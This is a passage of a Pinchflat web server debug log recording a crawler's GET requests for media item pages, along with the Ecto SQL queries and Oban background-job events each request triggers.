PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7Vlafvb (truncated) 15:36:55.877 [info] GET /sources/2/media/1609 15:36:55.877 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1609", "source_id" => "2"} Pipelines: [:browser] 15:36:55.877 [info] GET /sources/3/media/4213/edit 15:36:55.878 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4213", "source_id" => "3"} Pipelines: [:browser] 15:36:55.878 [debug] QUERY OK source="media_items" db=0.2ms idle=1347.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1609] 15:36:55.878 [debug] QUERY OK source="media_items" db=0.1ms idle=1347.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4213] 15:36:55.878 [debug] QUERY OK source="tasks" db=0.2ms idle=959.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1609] 15:36:55.879 [debug] QUERY OK source="settings" db=0.3ms idle=348.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:55.879 [debug] QUERY OK source="sources" db=0.5ms idle=347.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:36:55.879 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:55.879 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:55.879 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:55.879 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:55.880 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:55.880 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:36:55.880 [info] Sent 200 in 2ms 15:36:55.881 [info] Sent 200 in 4ms 15:36:56.112 [info] GET /sources/2/media/4458 15:36:56.113 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4458", "source_id" => "2"} Pipelines: [:browser] 15:36:56.113 [debug] QUERY OK source="media_items" db=0.2ms idle=233.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4458] 15:36:56.113 [debug] QUERY OK source="tasks" db=0.1ms idle=234.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4458] 15:36:56.114 [debug] QUERY OK source="sources" db=0.1ms idle=233.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:36:56.114 [debug] QUERY OK source="settings" db=0.1ms idle=233.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:56.114 [debug] QUERY OK source="settings" db=0.0ms idle=194.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:56.114 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:56.115 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:36:56.117 [info] Sent 200 in 4ms 15:36:56.613 [info] GET /sources/2/media/5352 15:36:56.613 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5352", "source_id" => "2"} Pipelines: [:browser] 15:36:56.613 [debug] QUERY OK source="media_items" db=0.2ms idle=499.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5352] 15:36:56.614 [debug] QUERY OK source="tasks" db=0.1ms idle=499.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5352] 15:36:56.614 [debug] QUERY OK source="sources" db=0.2ms idle=499.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:36:56.614 [debug] QUERY OK source="settings" db=0.1ms idle=499.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:56.615 [debug] QUERY OK source="settings" db=0.0ms idle=499.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:56.615 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:56.616 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:36:56.617 [info] Sent 200 in 4ms 15:36:57.953 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.208 [info] {"source":"oban","duration":362,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:37:19.244 [info] GET /sources/2/media/1616 15:37:19.244 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1616", "source_id" => "2"} Pipelines: [:browser] 15:37:19.245 [debug] QUERY OK source="media_items" db=0.2ms idle=1714.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1616] 15:37:19.245 [debug] QUERY OK source="tasks" db=0.1ms idle=1300.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1616] 15:37:19.246 [debug] QUERY OK source="sources" db=0.2ms idle=715.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:37:19.246 [debug] QUERY OK source="settings" db=0.0ms idle=715.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:19.246 [debug] QUERY OK source="settings" db=0.0ms idle=299.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:19.246 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:19.247 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:37:19.248 [info] Sent 200 in 3ms 15:37:19.335 [info] GET /sources/2/media/4458/edit 15:37:19.336 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4458", "source_id" => "2"} Pipelines: [:browser] 15:37:19.336 [debug] QUERY OK source="media_items" db=0.2ms idle=90.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4458] 15:37:19.336 [debug] QUERY OK source="settings" db=0.1ms idle=90.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:19.337 [debug] QUERY OK source="settings" db=0.0ms idle=90.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:19.337 [debug] QUERY OK source="settings" db=0.1ms idle=90.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:19.338 [info] Sent 200 in 2ms 15:37:19.839 [info] GET /sources/2/media/1618 15:37:19.839 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1618", "source_id" => "2"} Pipelines: [:browser] 15:37:19.839 [debug] QUERY OK source="media_items" db=0.2ms idle=591.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1618] 15:37:19.840 [debug] QUERY OK source="tasks" db=0.1ms idle=503.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1618] 15:37:19.840 [debug] QUERY OK source="sources" db=0.2ms idle=503.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:37:19.840 [debug] QUERY OK source="settings" db=0.1ms idle=503.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:19.840 [debug] QUERY OK source="settings" db=0.1ms idle=503.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:19.841 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:19.841 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:37:19.843 [info] Sent 200 in 4ms 15:37:20.345 [info] GET /sources/2/media/5352/edit 15:37:20.345 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "5352", "source_id" => "2"} Pipelines: [:browser] 15:37:20.346 [debug] QUERY OK source="media_items" db=0.2ms idle=505.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5352] 15:37:20.346 [debug] QUERY OK source="settings" db=0.1ms idle=505.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:20.347 [debug] QUERY OK source="settings" db=0.1ms idle=505.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:20.347 [debug] QUERY OK source="settings" db=0.1ms idle=505.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:20.348 [info] Sent 200 in 2ms 15:37:27.954 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:57.956 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.208 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:38:01.442 [info] GET /sources/3/media/11535/edit 15:38:01.442 [info] GET /sources/3/media/9882/edit 15:38:01.442 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "9882", "source_id" => "3"} Pipelines: [:browser] 15:38:01.442 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "11535", "source_id" => "3"} Pipelines: [:browser] 15:38:01.442 [debug] QUERY OK source="media_items" db=0.4ms idle=1911.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 15:38:01.442 [debug] QUERY OK source="media_items" db=0.5ms idle=1911.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9882] 15:38:01.443 [debug] QUERY OK source="settings" db=0.2ms idle=1449.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:01.443 [debug] QUERY OK source="settings" db=0.3ms idle=1234.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:01.443 [debug] QUERY OK source="settings" db=0.0ms idle=449.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:38:01.443 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", 